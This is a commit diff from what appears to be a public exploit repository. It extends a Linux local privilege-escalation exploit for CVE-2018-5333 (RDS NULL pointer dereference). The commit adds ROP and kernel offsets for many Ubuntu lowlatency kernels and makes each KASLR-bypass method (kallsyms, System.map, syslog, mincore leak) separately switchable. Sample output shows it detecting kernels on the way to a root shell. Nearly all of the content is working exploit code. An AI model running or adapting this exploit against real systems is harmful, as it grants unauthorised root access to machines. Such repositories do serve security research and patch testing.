Skip to content

Commit 599d5d8

Browse files
authored
Merge pull request bcoles#19 from bcoles/cve-2018-5333
[CVE-2018-5333] Add lowlatency kernel offsets
2 parents 170d435 + d3677c9 commit 599d5d8

File tree

1 file changed

+43
-8
lines changed

1 file changed

+43
-8
lines changed

CVE-2018-5333/cve-2018-5333.c

Lines changed: 43 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,7 @@
5151
// ---
5252
// $ gcc cve-2018-5333.c -o cve-2018-5333
5353
// $ ./cve-2018-5333
54-
// Linux RDS rds_atomic_free_op NULL pointer dereference local root
54+
// Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)
5555
// [.] starting
5656
// [.] checking kernel version...
5757
// [.] kernel version '4.4.0-116-generic #140-Ubuntu' detected
@@ -63,8 +63,8 @@
6363
// [.] KASLR bypass enabled, getting kernel addr
6464
// [.] trying /proc/kallsyms...
6565
// [-] kernel base not found in /proc/kallsyms
66-
// [.] trying /boot/System.map-4.4.0-116-lowlatency...
67-
// [-] open/read(/boot/System.map-4.4.0-116-lowlatency)
66+
// [.] trying /boot/System.map-4.4.0-116-generic...
67+
// [-] open/read(/boot/System.map-4.4.0-116-generic)
6868
// [.] trying syslog...
6969
// [-] kernel base not found in syslog
7070
// [.] trying mincore info leak...
@@ -102,7 +102,6 @@
102102
#include <netinet/in.h>
103103
#include <signal.h>
104104
#include <setjmp.h>
105-
#include <execinfo.h>
106105
#include <ucontext.h>
107106

108107
#define DEBUG
@@ -113,13 +112,20 @@
113112
# define dprintf
114113
#endif
115114

116-
#define ENABLE_SYSTEM_CHECKS 1
117-
#define ENABLE_KASLR_BYPASS 1
115+
#define ENABLE_SYSTEM_CHECKS 1
116+
#define ENABLE_KASLR_BYPASS 1
117+
118+
#if ENABLE_KASLR_BYPASS
119+
# define ENABLE_KASLR_BYPASS_KALLSYSMS 1
120+
# define ENABLE_KASLR_BYPASS_SYSMAP 1
121+
# define ENABLE_KASLR_BYPASS_SYSLOG 1
122+
# define ENABLE_KASLR_BYPASS_MINCORE 1
123+
#endif
118124

119125
// Can be overwritten by argv[1]
120126
char *SHELL = "/bin/sh";
121127

122-
// Will be overwritten if ENABLE_KASLR_BYPASS
128+
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
123129
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
124130

125131
// Will be overwritten by detect_versions().
@@ -143,9 +149,16 @@ struct kernel_info kernels[] = {
143149
{ "4.4.0-31-generic #50-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787a7, 0x3ffed8, 0x64644, 0x7d125 },
144150
{ "4.4.0-38-generic #57-Ubuntu", 0xa2570, 0xa2960, 0x5d0c5, 0x178a97, 0x400968, 0x64634, 0x7d1e5 },
145151
{ "4.4.0-42-generic #62-Ubuntu", 0xa25c0, 0xa29b0, 0x5d0c5, 0x178ac7, 0x400d78, 0x64634, 0x7d1a5 },
152+
{ "4.4.0-109-generic #132-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
146153
{ "4.4.0-112-generic #135-Ubuntu", 0xa3a90, 0xa3e80, 0x5d0c5, 0x17b657, 0x40b238, 0x646a4, 0x54137c },
147154
{ "4.4.0-116-generic #140-Ubuntu", 0xa4cf0, 0xa50e0, 0x5e0c5, 0x17d5d7, 0x40ed08, 0x65734, 0x3a5b04 },
148155

156+
{ "4.4.0-21-lowlatency #37-Ubuntu", 0xa3150, 0xa3560, 0x5e0c5, 0x17b2c7, 0x401288, 0x64d34, 0x7d95c },
157+
//{ "4.4.0-31-lowlatency #50-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409018, 0x64d34, 0x7dadc },
158+
{ "4.4.0-38-lowlatency #57-Ubuntu", 0xa3500, 0xa3910, 0x5e0c5, 0x17bcb7, 0x409b38, 0x64d24, 0x4c030 },
159+
{ "4.4.0-42-lowlatency #62-Ubuntu", 0xa3560, 0xa3970, 0x5e0c5, 0x17bcf7, 0x409f68, 0x64d24, 0x7db6c },
160+
{ "4.4.0-109-lowlatency #132-Ubuntu", 0xa5530, 0xa5940, 0x5f0c5, 0x17f257, 0x414c18, 0x65d94, 0x7f7ac },
161+
{ "4.4.0-112-lowlatency #135-Ubuntu", 0xa5bd0, 0xa5fe0, 0x5f0c5, 0x17f9a7, 0x415448, 0x65d94, 0x7f8dc },
149162
{ "4.4.0-116-lowlatency #140-Ubuntu", 0xa6e00, 0xa7210, 0x600c5, 0x1818f7, 0x418a38, 0x66de4, 0x809ef },
150163

151164
{ "4.8.0-34-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
@@ -164,6 +177,12 @@ struct kernel_info kernels[] = {
164177
//{ "4.8.0-56-generic #61~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e278, 0x642f4, 0x7ed3b },
165178
//{ "4.8.0-58-generic #63~16.04.1-Ubuntu", 0xa5d20, 0xa6110, 0x5d0c5, 0x187797, 0x43dfa8, 0x642f4, 0x7ed5b },
166179

180+
{ "4.8.0-49-lowlatency #52~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
181+
{ "4.8.0-51-lowlatency #54~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
182+
{ "4.8.0-52-lowlatency #55~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
183+
{ "4.8.0-53-lowlatency #56~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
184+
{ "4.8.0-54-lowlatency #57~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x7f912 },
185+
167186
//{ "4.10.0-14-generic #16~16.04.1-Ubuntu", 0xab610, 0xaba00, 0x600c5, 0x194ac7, 0x458288, 0x67764, 0x34c4b },
168187
//{ "4.13.0-16-generic #19~16.04.3-Ubuntu", 0xa8220, 0xa85f0, 0x5f0c5, 0x19c8a7, 0x462d18, 0x668b4, 0x2f2d4 },
169188
//{ "4.13.0-37-generic #42~16.04.1-Ubuntu", 0xab1d0, 0xab5a0, 0x610c5, 0x1a0827, 0x46bf58, 0x68944, 0x3381b },
@@ -382,6 +401,7 @@ void detect_versions() {
382401
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
383402
// https://grsecurity.net/~spender/exploits/exploit.txt
384403

404+
#if ENABLE_KASLR_BYPASS_KALLSYSMS
385405
unsigned long get_kernel_addr_kallsyms() {
386406
FILE *f;
387407
unsigned long addr = 0;
@@ -416,10 +436,12 @@ unsigned long get_kernel_addr_kallsyms() {
416436
dprintf("[-] kernel base not found in %s\n", path);
417437
return 0;
418438
}
439+
#endif
419440

420441
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
421442
// https://grsecurity.net/~spender/exploits/exploit.txt
422443

444+
#if ENABLE_KASLR_BYPASS_SYSMAP
423445
unsigned long get_kernel_addr_sysmap() {
424446
FILE *f;
425447
unsigned long addr = 0;
@@ -456,10 +478,12 @@ unsigned long get_kernel_addr_sysmap() {
456478
dprintf("[-] kernel base not found in %s\n", path);
457479
return 0;
458480
}
481+
#endif
459482

460483
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
461484
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
462485

486+
#if ENABLE_KASLR_BYPASS_SYSLOG
463487
#define SYSLOG_ACTION_READ_ALL 3
464488
#define SYSLOG_ACTION_SIZE_BUFFER 10
465489

@@ -525,10 +549,12 @@ unsigned long get_kernel_addr_syslog() {
525549

526550
return addr;
527551
}
552+
#endif
528553

529554
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
530555
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
531556

557+
#if ENABLE_KASLR_BYPASS_MINCORE
532558
unsigned long get_kernel_addr_mincore() {
533559
unsigned char buf[getpagesize() / sizeof(unsigned char)];
534560
unsigned long iterations = 20000000;
@@ -569,23 +595,32 @@ unsigned long get_kernel_addr_mincore() {
569595
dprintf("[-] kernel base not found in mincore info leak\n");
570596
return 0;
571597
}
598+
#endif
572599

573600
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
574601

575602
unsigned long get_kernel_addr() {
576603
unsigned long addr = 0;
577604

605+
#if ENABLE_KASLR_BYPASS_KALLSYSMS
578606
addr = get_kernel_addr_kallsyms();
579607
if (addr) return addr;
608+
#endif
580609

610+
#if ENABLE_KASLR_BYPASS_SYSMAP
581611
addr = get_kernel_addr_sysmap();
582612
if (addr) return addr;
613+
#endif
583614

615+
#if ENABLE_KASLR_BYPASS_SYSLOG
584616
addr = get_kernel_addr_syslog();
585617
if (addr) return addr;
618+
#endif
586619

620+
#if ENABLE_KASLR_BYPASS_MINCORE
587621
addr = get_kernel_addr_mincore();
588622
if (addr) return addr;
623+
#endif
589624

590625
dprintf("[-] KASLR bypass failed\n");
591626
exit(EXIT_FAILURE);
@@ -620,7 +655,7 @@ void fork_shell() {
620655

621656
int main(int argc, char *argv[]) {
622657
if (argc > 1) SHELL = argv[1];
623-
dprintf("Linux RDS rds_atomic_free_op NULL pointer dereference local root\n");
658+
dprintf("Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)\n");
624659

625660
dprintf("[.] starting\n");
626661

0 commit comments

Comments
 (0)